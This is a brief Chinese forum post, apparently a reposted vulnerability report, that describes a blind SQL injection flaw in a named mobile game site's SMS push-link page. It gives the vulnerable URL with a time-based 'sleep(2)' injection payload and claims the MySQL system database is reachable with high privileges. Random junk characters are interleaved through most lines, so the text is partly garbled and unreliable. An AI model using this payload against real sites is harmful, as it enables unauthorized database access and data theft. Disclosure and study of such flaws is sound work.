简要描述：
! R7 Y/ T4 d- D* E; I* m. B4 B9 _凤凰手机游戏网，在填写手机号码发送push连接的地方存在sql盲注漏洞。
4 U5 N$ K! f4 F9 a. t$ N. y! Z( r
: d f6 n# ?* O7 Y; O t, a' |: R( Z详细说明：& m* z1 y2 E& w6 m/ y1 ^; r' K; Z3 B
存在SQL盲注url:+ d) ^ X* i9 j# Q! B4 R
fenghuang/game/game_send_sms.jsp?gameid=130221346000%27%20and%20sleep%282%29%3d%27&mo=1
8 r v7 u3 `! n) G- E, r8 c7 Jhttp://www.myhack58.com/Article/UploadPic/2013-4/2013411254849748.png$ K( ~3 {$ Q, z/ d
http://www.myhack58.com/Article/UploadPic/2013-4/20134112545369314.png
; d0 P+ s3 @. d+ L0 {http://www.myhack58.com/Article/UploadPic/2013-4/20134112565766695.jpg% Y) _3 t1 u9 E) w; U( t; ]) Z
8 i+ o- l5 l! P% v: n, `5 D
能看到mysql系统数据库，看来user权限应该很高的。。 | 
发表于 2013-4-4 17:34:29
收藏
支持
反对